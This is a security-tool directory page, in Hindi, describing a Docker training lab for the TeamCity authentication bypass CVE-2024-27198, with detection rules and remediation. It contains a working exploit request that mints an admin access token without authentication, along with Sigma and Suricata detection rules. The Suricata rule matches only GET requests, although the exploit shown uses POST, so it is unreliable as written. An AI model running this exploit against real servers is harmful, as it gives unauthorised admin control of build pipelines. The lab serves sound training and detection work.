Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-27198_LAB — Docker-based lab for CVE-2024-27198 TeamCity authentication bypass. Includes exploit reproduction, IoC hunting with Sigma/Suricata rules, and blue-team detection exercises for security training. | Kitploit
उपकरण/GitHubGitHub/ne0zer01/cve-2024-27198_lab
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगखतरा खुफियाघुसपैठ का पता लगानालर्निंग और शिक्षाघटना प्रतिक्रियालॉग विश्लेषणलैब और अभ्यास
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

Docker-based lab for CVE-2024-27198 TeamCity authentication bypass. Includes exploit reproduction, IoC hunting with Sigma/Suricata rules, and blue-team detection exercises for security training.

रिपॉजिटरी देखें

CVE-2024-27198 प्रयोगशाला

विवरण

TeamCity टोकन प्रबंधन के लिए एक व्यवस्थापक-केवल पृष्ठ प्रदान करता है जो प्रमाणीकरण द्वारा संरक्षित नहीं है। यह एक अप्रमाणित उपयोगकर्ता को व्यवस्थापक उपयोगकर्ता के लिए एक एक्सेस टोकन उत्पन्न करने की अनुमति देता है, यदि वे किसी मौजूदा उपयोगकर्ता की आईडी ढूंढ सकते हैं।


CVE विवरण

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • आधार स्कोर: 9.8 गंभीर
  • वेक्टर:
    • CVSS:3.1
    • AV:N नेटवर्क
    • AC:L निम्न
    • PR:N कोई नहीं
    • UI:N कोई नहीं
    • S:U अपरिवर्तित
    • C:H उच्च
    • I:H उच्च
    • A:H उच्च

खतरा खुफिया और OSINT

वास्तविक विश्व प्रभाव और शोषण

  • CISA KEV सूची: 7 मार्च, 2024 को जोड़ा गया, जो वास्तविक दुनिया में सक्रिय शोषण की पुष्टि करता है।
  • खतरा अभिनेता: कई रैनसमवेयर समूहों और APT द्वारा शोषित, विशेष रूप से BianLian रैनसमवेयर समूह और Jasmin रैनसमवेयर वैरिएंट। हमलावरों ने इस बाईपास का उपयोग नकली व्यवस्थापक खाते बनाने, दुर्भावनापूर्ण प्लगइन्स तैनात करने, और लक्षित नेटवर्क के भीतर पार्श्विक रूप से स्थानांतरित होने के लिए मनमाना कोड (RCE) निष्पादित करने के लिए किया।
  • लक्ष्य प्रोफ़ाइल: CI/CD पाइपलाइन उच्च-मूल्य वाले लक्ष्य हैं (आपूर्ति श्रृंखला हमले)। TeamCity से समझौता करने से हमलावर सॉफ्टवेयर बिल्ड में दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं, स्रोत कोड चुरा सकते हैं, और परिनियोजन रहस्य (AWS कुंजी, प्रमाणपत्र) निकाल सकते हैं।

यह CVE इतना गंभीर क्यों है

कमजोरी REST API रूटिंग तंत्र में निहित है। एक अप्रमाणित एंडपॉइंट में विशिष्ट वर्ण (जैसे ?jsp=/app/rest/...;.jsp) जोड़कर, हमलावर TeamCity वेब सर्वर को अनुरोध को एक प्रमाणित एंडपॉइंट पर रूट करने के लिए धोखा दे सकते हैं, जबकि सुरक्षा फिल्टर को बायपास कर सकते हैं। इसके लिए किसी पूर्व ज्ञान या पहुंच की आवश्यकता नहीं है, जो इसे शुद्ध 9.8 CVSS स्कोर बनाता है।


पुनरुत्पादन के चरण

कंटेनर प्रारंभ करें

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

कमजोर TeamCity इंस्टेंस तक http://localhost:8111 पर पहुँचें। पैच किए गए TeamCity इंस्टेंस तक http://localhost:8112 पर पहुँचें।


लॉगिन पोर्टल

उपयोगकर्ता नाम:

root@kitploit:~
admin

पासवर्ड:

root@kitploit:~
admin

कमजोरी का परीक्षण करें

बिना प्रमाणीकरण के संसाधन के लिए GET अनुरोध:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

दोनों को 401 स्थिति कोड के साथ त्रुटि वापस करनी चाहिए।


व्यवस्थापक उपयोगकर्ता के लिए एक टोकन उत्पन्न करें

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

इसे इस प्रकार एक टोकन वापस करना चाहिए (टोकन हर बार अलग होता है):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

इसे 401 स्थिति कोड के साथ त्रुटि वापस करनी चाहिए क्योंकि पैच किए गए इंस्टेंस में यह कमजोरी नहीं है।


टोकन सत्यापित करें

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

उपयोगकर्ताओं की सूची वापस करनी चाहिए।


टोकन हटाएं

  1. http://localhost:8111 पर व्यवस्थापक खाते से जाएं।
  2. ऊपर दाईं ओर प्रोफाइल आइकन पर क्लिक करें।
  3. प्रोफाइल -> एक्सेस टोकन पर जाएं।
  4. आपको "REDTEAM" टोकन दिखाई देगा।
  5. बस टोकन के आगे डिलीट पर क्लिक करें।

ब्लू टीम: लॉग्स में IoCs की खोज (स्टिल्थ फैक्टर)

प्रयोगशाला पर प्रदर्शन के दौरान, आप एक बड़ी ब्लू टीम खोज दिखा सकते हैं: डिफ़ॉल्ट रूप से, यह कमजोरी अविश्वसनीय रूप से गुप्त है!

  1. TeamCity Docker इमेज में Tomcat एक्सेस लॉग डिफ़ॉल्ट रूप से अक्षम होते हैं, इसलिए ;.jsp HTTP अनुरोध लॉग नहीं किए जाते।
  2. TeamCity ऑडिट लॉग REST API के माध्यम से टोकन निर्माण को लॉग नहीं करता।

तो हम इसे कैसे पकड़ें? जब हमलावर अपने निशान साफ करता है! जब हमलावर छिपने के लिए अपने नकली टोकन को हटाता है, तो TeamCity लॉग करता है।

हमलावर को ऑडिट लॉग्स में अपने निशान ढंकते हुए ढूंढें:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(आपको एक लॉग एंट्री दिखाई देगी जो इंगित करती है कि "REDTEAM" टोकन हटा दिया गया था)।


कंटेनर रोकें

root@kitploit:~
docker compose -f docker-compose.yml down

शमन और पहचान

तकनीकी विश्लेषण (CWE-288)

यह कमजोरी CWE-288: वैकल्पिक पथ या चैनल का उपयोग करके प्रमाणीकरण बाईपास का एक उदाहरण है। यह दोष Tomcat वेब सर्वर और TeamCity एप्लिकेशन राउटर के बीच पथ भ्रम की समस्या से उत्पन्न होता है। ;.jsp जोड़कर और लक्ष्य REST API एंडपॉइंट को jsp= पैरामीटर में पास करके, प्रारंभिक सुरक्षा फिल्टर अनुरोध को एक सार्वजनिक .jsp फ़ाइल (जिसकी अनुमति है) के लिए एक अप्रमाणित अनुरोध के रूप में व्याख्या करता है। हालांकि, आंतरिक राउटर ;.jsp को हटा देता है और प्रमाणीकरण फिल्टर को लागू किए बिना अनुरोध को प्रतिबंधित /app/rest/ एंडपॉइंट पर अग्रेषित करता है।

वैध उपयोग केस (; की अनुमति क्यों है): Tomcat सेमीकोलन वर्ण (;) का उपयोग मैट्रिक्स पैरामीटर के लिए करता है। ऐतिहासिक रूप से, इस तंत्र का उपयोग पथ के भीतर सीधे पैरामीटर पास करने के लिए किया जाता है, जैसे कुकीज़ अक्षम होने पर उपयोगकर्ता सत्र स्थिति बनाए रखने के लिए JSESSIONID जोड़ना। यह सामान्य, वैध वेब सर्वर व्यवहार, TeamCity एप्लिकेशन राउटर द्वारा अनुचित सत्यापन के साथ मिलकर, कमजोरी पैदा करता है।

समझौता संकेतक (IoCs)

चल रहे या पिछले समझौते का पता लगाने के लिए, ब्लू टीमों को देखना चाहिए:

  1. वेब लॉग्स: /app/rest/ एंडपॉइंट को लक्षित करने वाले HTTP अनुरोध, लेकिन URI में विषम ;.jsp स्ट्रिंग शामिल है।
  2. ऑडिट लॉग्स (teamcity-server.log): एक्सेस टोकन की अज्ञात पीढ़ी या नए प्रशासनिक खातों का निर्माण।
  3. सिस्टम स्तर: अज्ञात या संदिग्ध प्लगइन्स की स्थापना (अक्सर हमलावरों द्वारा विशेषाधिकार बढ़ाने और रिमोट कोड निष्पादन प्राप्त करने के लिए उपयोग किया जाता है)।

लॉग डिटेक्शन (सिग्मा नियम)

क्योंकि प्रारंभिक शोषण डिफ़ॉल्ट रूप से गुप्त है, ब्लू टीमों को हमलावर के शोषण के बाद के कार्यों, जैसे कि निशान छुपाने, का पता लगाने पर निर्भर रहना चाहिए। यहां आपके SIEM के लिए संदिग्ध टोकन हटाने का पता लगाने के लिए एक सिग्मा नियम है:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM लाइव डेमो (ब्लू टीम)

यह साबित करने के लिए कि यह डिटेक्शन काम करता है, siem_simulator.py स्क्रिप्ट चलाएं।

  1. अपने शोषण टर्मिनल के साथ एक दूसरा टर्मिनल खोलें।
  2. सुनिश्चित करें कि कमजोर कंटेनर चल रहा है (docker compose up -d)।
  3. सिम्युलेटर चलाएं:
root@kitploit:~
python3 siem_simulator.py
  1. पहले टर्मिनल में, शोषण चलाएं, टोकन सत्यापित करें, और फिर वेब इंटरफ़ेस के माध्यम से टोकन हटाएं।
  2. दूसरे टर्मिनल को एक लाल गंभीर अलर्ट के साथ जगमगाते देखें जो दिखाता है कि सिग्मा नियम हमलावर को उनके निशान छुपाने पर पकड़ रहा है!

उपचार

  • आधिकारिक पैच: TeamCity को संस्करण 2023.11.4 या उच्चतर में अपग्रेड करें, जो बैकएंड पर मार्ग मिलान को ठीक से स्वच्छ करता है और लागू करता है।
  • वर्कअराउंड: यदि पैचिंग असंभव है, तो JetBrains ने एक सुरक्षा पैच प्लगइन जारी किया है जिसे कमजोर इंस्टेंस पर स्थापित किया जा सकता है।

नेटवर्क डिटेक्शन (Suricata / Snort नियम)

नेटवर्क पर इस शोषण प्रयास का पता लगाने के लिए, एक SOC निम्नलिखित IDS नियम को लागू कर सकता है, जो विषम ;.jsp पैटर्न को REST API पथों के साथ देखता है:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

पैच किए गए संस्करण का परीक्षण करें (प्रयोगशाला प्रदर्शन)

यह साबित करने के लिए कि शमन काम करता है, आप पैच किए गए TeamCity कंटेनर पर पोर्ट 8112 पर बिल्कुल वही शोषण पेलोड लॉन्च कर सकते हैं:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

क्योंकि पैच सख्ती से मार्ग मिलान को लागू करता है और मैट्रिक्स पैरामीटर को ठीक से स्वच्छ करता है, बाईपास विफल हो जाएगा। आपको उत्पन्न टोकन के बजाय 401 अनधिकृत या 404 नहीं मिला प्रतिक्रिया देखनी चाहिए।


लिंक

  • CVE-2024-27198
टूल डाउनलोड करें